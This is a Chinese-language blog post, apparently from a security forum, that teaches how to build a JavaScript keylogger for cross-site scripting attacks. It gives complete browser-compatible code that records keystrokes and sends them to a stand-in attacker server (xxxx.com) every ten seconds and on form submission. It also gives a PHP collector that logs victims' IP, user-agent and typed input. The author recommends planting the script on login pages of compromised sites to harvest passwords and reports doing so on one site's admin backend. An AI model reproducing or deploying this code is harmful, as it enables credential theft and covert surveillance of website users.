[F4CK-phithon]javascript键盘记录详解,各种浏览器适用

Anonymous
1092 阅读
最近在尝试写自己的xss平台,因为对现有的平台还是不够满足。首先就是这个键盘记录功能不好加进去,要加就得改代码,感觉有点麻烦。因为我们的键盘记录是需要持续记录键盘的输入,并持续向我们的服务端发送数据,现有的xss平台每次发送来的数据都会接收一次(而不是更新之前接收过的),就会造成数据的庞大。(不知道xss.tw改进没有,我一直没有哪里的邀请码)

哦?有同学在问什么是键盘记录了,它跟xss有什么关系。

0x01 javascript键盘事件

总所周知,xss漏洞的产生是因为执行了恶意的javascript代码。我们可以通过这个xss获得用户的cookie,但这绝对不是xss仅有的作用。

试想一下,你有一个很大的discuz论坛的shell,但数据库里很多密码都因为加了salt很难破解(包括管理员的)。如果我挂一个键盘记录的javascript在登陆页面(当然更好的是直接挂抓取密码的js),我就能轻松地获得每个人登陆时候输入的信息。当然,这个例子与xss就没关系了。

在xss的时候,我们挂的代码中如果也有键盘记录的功能,也能多少获得一些对方的信息,比如对方的打字习惯、对方正在干什么,如果你插的页面正好也有登陆框,也就顺便能打到一些账号密码。实用范围还有很多,大家可以自己发挥想象力。

javascript代码中有三个事件:onkeydown、onkeyup、onkeypress,分别对应着键盘按下、弹起、按动一个键。有人就问了,有了前两个,press不是很没用。其实press更多的是响应一个可见字符的输入事件,比如我输入一个*号,用前两个事件记录下的按键可能是:“shift”、“8”,而press事件记录下的直接就是“*”。明白什么意思吧。

因为有了这三个事件,我们只用响应他们就能记录键盘了。

0x02 浏览器兼容

javascript代码最大的麻烦就是浏览器兼容,因为不同浏览器可能代码就不一样。现在主流浏览器就是IE、chrome、firefox,我们只要做到了这三个浏览器的兼容,基本上就可以了。

keyDown等这几个事件都有一个隐藏的参数e,类似这样function onkeydown(e){},进入响应函数后e其实就是我们这个事件对象,它其中就包括了按下的键,那就是e.keyCode。但是,在IE中又不是这样,IE里获得按下的键是event.keyCode,这个event是一个全局变量。

所以我们在这里巧妙地处理这个问题:

var e=e||event;
var currKey=e.keyCode||e.which||e.charCode;

e||event,当e不存在时返回event,最后结果替代新的e。下面一个类似,当e.keyCode不存在时返回e.which,再不存在就返回e.charCode。最后结果在currKey中。

0x03 代码编写

于是我就想了一个思路:我们将用户输入的每个字符都保存在logger这个全局变量里,然后每过10秒(时间长是为了减轻服务器负担),提交一次logger,并清空它。等待下次记录。

这是我今天晚上写的一个javascript,我已经努力去完善它了,大家还可以拿去尽情发挥:

(function(){
        var logger = "";
        keyDown = function(e)
        {
                var e=e||event;
                var currKey=e.keyCode||e.which||e.charCode;
                if((currKey>7&&currKey<32)||(currKey>31&&currKey<47))
                {
                   switch(currKey)
              {
                        case 8: keyName = "[退格]"; break;
                        case 9: keyName = "[制表]"; break;
                        case 13:keyName = "[回车]"; break;
                        //case 16:keyName = "[shift]"; break;
                        case 17:keyName = "[Ctrl]"; break;
                        case 18:keyName = "[Alt]"; break;
                        case 20:keyName = "[大小写]"; break;
                        case 32:keyName = "[空格]"; break;
                        case 33:keyName = "[PageUp]";   break;
                        case 34:keyName = "[PageDown]";   break;
                        case 35:keyName = "[End]";   break;
                        case 36:keyName = "[Home]";   break;
                        case 37:keyName = "[方向键左]";   break;
                        case 38:keyName = "[方向键上]";   break;
                        case 39:keyName = "[方向键右]";   break;
                        case 40:keyName = "[方向键下]";   break;
                        case 46:keyName = "[删除]";   break;
                        default:keyName = "";    break;
                   }
                   logger += keyName;
                }
        }
        keyPress = function(e)
        {
                var currKey=0,CapsLock=0,e=e||event;
                currKey=e.keyCode||e.which||e.charCode;
                CapsLock=currKey>=65&&currKey<=90;
                switch(currKey)
                {
                       //屏蔽了退格、制表、回车、空格、方向键、删除键等
                       case 8: case 9:case 13:case 16:case 17:case 18:case 20:
                                    case 32: case 33: case 34: case 35: case 36: case 37:case 38:
                                    case 39:case 40:case 46:keyName = "";break;
                       default:keyName = String.fromCharCode(currKey); break;
                }
                logger += keyName;
        }
        sendChar = function()
        {
                if (!logger) return;
                (new Image).src="http://xxxx.com/getChar.php?char=" + logger; //服务端地址
                logger = "";
        }
        formSubmit = function()
        {
                sendChar();
        }
        document.onkeydown = keyDown;
        document.onkeypress = keyPress;
        document.onsubmit = formSubmit;
        setInterval(sendChar, 10000); //设置定时器
})();

大家可以看到,我这里面定义了几个函数,一是keyDown,它是在按键按下时响应,我用它来记录一些不可见字符,比如回车、上下左右、退格等。

二是keyPress,我用它来记录可见字符(因为用它就能直接记录下&*()这种需要按shift的字符了)。

三是formSubmit,这里是为了拦截表单的提交消息。因为我们这个脚本是每过10秒发送一次记录的数据,但如果用户输入账号密码的时间很快,5秒就输完了,然后回车提交了,这样我们就什么都没拿到。于是我绑定了一个提交的事件,当用户提交表单的时候,也发送一次。

四是sendChar,就是我们发送数据的函数。这个函数里用new Image新建了一个图片,图片的地址就是我们的服务端,用get的方式将数据交给服务端即可。

0x04 服务端接收

有了javascript客户端,服务端也不能少。在我自己的xss平台没出来前,我就简单地写了一个脚本:

<?php
if(empty($_GET['char'])) exit;
$char = $_GET['char'];
@session_start();
if (!file_exists("log")) mkdir("log");
$filename = "log/" . session_id() . ".txt";
if (file_exists($filename)) {
        $f = fopen($filename, "a");
        fwrite($f, $char);
        fclose($f);
}else{
        $f = fopen($filename, "a");
        fwrite($f, "ip:" . getIP() . "\n");
        fwrite($f, "user-agent:" . getUser() . "\n");
        fwrite($f, "From:" . getRefer() . "\n");
        fwrite($f, "begintime:" . date("Ymd,g:i a") . "\n");
        fwrite($f, "data:\n");
        fwrite($f, $char);
        fclose($f);
}
function getIP()
{
        return getenv("REMOTE_ADDR") ? getenv("REMOTE_ADDR") : "unknow";
}
function getUser()
{
        return getenv("HTTP_USER_AGENT") ? getenv("HTTP_USER_AGENT") : "unknow";
}
function getRefer()
{
        return getenv("HTTP_REFERER") ? getenv("HTTP_REFERER") : "unknow";
}
?>

我在log目录下,用session id来新建一个文件(记录的信息就简单保存在文件中)。因为每个用户的session不一样,所以尽可能地避免了文件的重复。

这个文件最开头记录了用户的IP、user-agent、referer,然后之后就是输入的数据。我会首先在log中判断,如果有这个session id对应的文件,说明这个用户被记录过,所以在文件最后追加数据就行。如果没有这个文件就创建,然后记录IP等信息。

当然这个服务端是有漏洞的,并没有对任何输入进行检查,这个自己完善。

0x05 简单尝试

我在某个网站后台挂上了这个js,然后自己登陆试了一下,已经能记录输入的信息了。大家应该看得很清楚,输入完账号后按了TAB键,继续输密码,这种情况很常见。

如果大家对代码有什么改进的建议,可以和我一起讨论。希望你们能和我一起学到知识。

评论 (1)

litdg
霸气。搞出来记得给个邀请码学习学习啊~

发表评论